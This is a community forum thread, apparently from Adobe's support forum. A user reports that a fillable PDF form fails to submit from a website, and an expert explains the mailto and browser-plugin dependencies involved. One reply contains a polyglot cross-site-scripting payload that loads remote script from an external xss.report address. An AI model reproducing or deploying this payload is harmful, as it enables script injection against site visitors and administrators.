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Participant
January 13, 2025
Question

Online SUBMIT Forms- Error Message

  • January 13, 2025
  • 13 replies
  • 1158 views

Hello, 

 

I have prepared a form, and everything is working well within Adobe. I emailed the same version as an attachment to test that the document was set up correctly. Worked perfectly. I upload the fillable form to our website as a PDF. It loads perfectly. I can complete the document with no problem. I click SUBMIT, and the following message is received:

 

Error: Form data cannot be submitted to the  provided server

 

 

13 replies

Participating Frequently
September 18, 2026

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Participating Frequently
September 18, 2026

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Participating Frequently
September 18, 2026

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload=(import(/https:\xss.report\c\dabej21524/.source))//>

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Participant
September 18, 2026

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Participating Frequently
September 18, 2026

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Participating Frequently
September 18, 2026

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Participating Frequently
September 18, 2026

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Participating Frequently
September 18, 2026

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Participant
September 18, 2026

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Participant
September 18, 2026

 

 

Thom Parker
Community Expert
Community Expert
January 13, 2025

It all depends on the browser, the environment, and as stated by try67, any plugin/addin used by the browser to display the PDF. 

For example, by specifying a "MailTo" URL, the PDF is asking the viewer to open an email application. Maybe such a thing doesn't exist for the browser/pdf viewer.   There are a lot of dependencies when in comes to email. It's much more robust to submit data to a regular URL. Of course this requires that there be something on the other end that understands the submission. But that's how it is. 

 

You may want to tell users to download the PDF to thier desktop and then submit it using Adobe Reader. 

 

Thom Parker - Software Developer at PDFScriptingUse the Acrobat JavaScript Reference early and often